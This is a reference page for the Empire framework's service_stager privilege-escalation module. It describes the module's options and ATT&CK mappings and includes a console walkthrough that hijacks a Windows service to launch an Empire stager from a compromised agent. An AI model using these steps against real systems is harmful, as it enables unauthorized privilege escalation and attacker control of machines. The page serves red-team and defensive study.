Invoke-ServiceAbuse - Empire Module

This page contains detailed information about how to use the powershell/privesc/powerup/service_stager Empire module. For list of all Empire modules, visit the Empire Module Library.

Module Overview

---

Name: Invoke-ServiceAbuse
Module: powershell/privesc/powerup/service_stager
Source code [1]: empire/server/modules/powershell/privesc/powerup/service_stager.yaml
Source code [2]: empire/server/modules/powershell/privesc/powerup/service_stager.py
MITRE ATT&CK: T1087, T1038, T1031, T1034, T1057, T1012, S0194
Language: PowerShell
Needs admin: No
OPSEC safe: No
Background: Yes

The service_stager module modifies a target service to execute an Empire stager.

This module runs in a foreground and is OPSEC unsafe as it writes on the disk and therefore could be detected by AV/EDR running on the target system.

Note that the service_stager module does not need administrative privileges to work properly which means that a normal user can run this module.

Required Module Options

---

This is a list of options that are required by the service_stager module:

Agent
Agent to run module on.

Listener
Listener to use.

ServiceName
The service name to manipulate.

Additional Module Options

---

This is a list of additional options that are supported by the service_stager module:

Proxy
Proxy to use for request (default, none, or other).
Default value: default.

ProxyCreds
Proxy credentials ([domain\]username:password) to use for request (default, none, or other).
Default value: default.

UserAgent
User-agent string to use for the staging request (default, none, or other).
Default value: default.

Service_stager Example Usage

---

Here's an example of how to use the service_stager module in the Empire client console:

[+] New agent Y4LHEV83 checked in
[*] Sending agent (stage 2) to Y4LHEV83 at 192.168.204.135
(empire usestager/windows/ducky) > usemodule powershell/privesc/powerup/service_stager

 Author       @harmj0y                                                           
 Background   True                                                               
 Comments     https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerUp 
 Description  Modifies a target service to execute an Empire stager.             
 Language     powershell                                                         
 Name         powershell/privesc/powerup/service_stager                          
 NeedsAdmin   False                                                              
 OpsecSafe    False                                                              
 Software     http://attack.mitre.org/software/S0194                             
 Techniques   http://attack.mitre.org/techniques/T1087                           
              http://attack.mitre.org/techniques/T1038                           
              http://attack.mitre.org/techniques/T1031                           
              http://attack.mitre.org/techniques/T1034                           
              http://attack.mitre.org/techniques/T1057                           
              http://attack.mitre.org/techniques/T1012                           


,Record Options---------,----------,-------------------------------------,
| Name        | Value   | Required | Description                         |
|-------------|---------|----------|-------------------------------------|
| Agent       |         | True     | Agent to run module on.             |
|-------------|---------|----------|-------------------------------------|
| Listener    |         | True     | Listener to use.                    |
|-------------|---------|----------|-------------------------------------|
| Proxy       | default | False    | Proxy to use for request (default,  |
|             |         |          | none, or other).                    |
|-------------|---------|----------|-------------------------------------|
| ProxyCreds  | default | False    | Proxy credentials                   |
|             |         |          | ([domain\]username:password) to use |
|             |         |          | for request (default, none, or      |
|             |         |          | other).                             |
|-------------|---------|----------|-------------------------------------|
| ServiceName |         | True     | The service name to manipulate.     |
|-------------|---------|----------|-------------------------------------|
| UserAgent   | default | False    | User-agent string to use for the    |
|             |         |          | staging request (default, none, or  |
|             |         |          | other).                             |
'-------------'---------'----------'-------------------------------------'

(Empire: usemodule/powershell/privesc/powerup/service_stager) > set Agent Y4LHEV83
[*] Set Agent to Y4LHEV83
(Empire: usemodule/powershell/privesc/powerup/service_stager) > set Listener listener1
[*] Set Listener to listener1
(Empire: usemodule/powershell/privesc/powerup/service_stager) > set ServiceName Updater
[*] Set ServiceName to Updater
(Empire: usemodule/powershell/privesc/powerup/service_stager) > execute
[*] Tasked Y4LHEV83 to run Task 1
...

Now wait for the results to come.

Author

---

• @harmj0y

References

---

• https://github.com/BC-SECURITY/Empire/tree/master/empire/server/modules/powershell/privesc/powerup/service_stager.yaml
• https://github.com/BC-SECURITY/Empire/tree/master/empire/server/modules/powershell/privesc/powerup/service_stager.py
• https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerUp
• http://attack.mitre.org/software/S0194
• http://attack.mitre.org/techniques/T1087
• http://attack.mitre.org/techniques/T1038
• http://attack.mitre.org/techniques/T1031
• http://attack.mitre.org/techniques/T1034
• http://attack.mitre.org/techniques/T1057
• http://attack.mitre.org/techniques/T1012

See Also

---

Check also the following modules related to this module:

• powershell/privesc/powerup/service_exe_useradd
• powershell/privesc/powerup/service_exe_restore
• powershell/privesc/powerup/service_exe_stager
• powershell/privesc/powerup/service_useradd
• powershell/privesc/powerup/write_dllhijacker
• powershell/privesc/powerup/find_dllhijack
• powershell/privesc/powerup/allchecks
• powershell/situational_awareness/network/get_kerberos_service_ticket

Version

---

This page has been created based on Empire version 4.1.3 (BC Security Fork).
Visit Empire Module Library for more modules.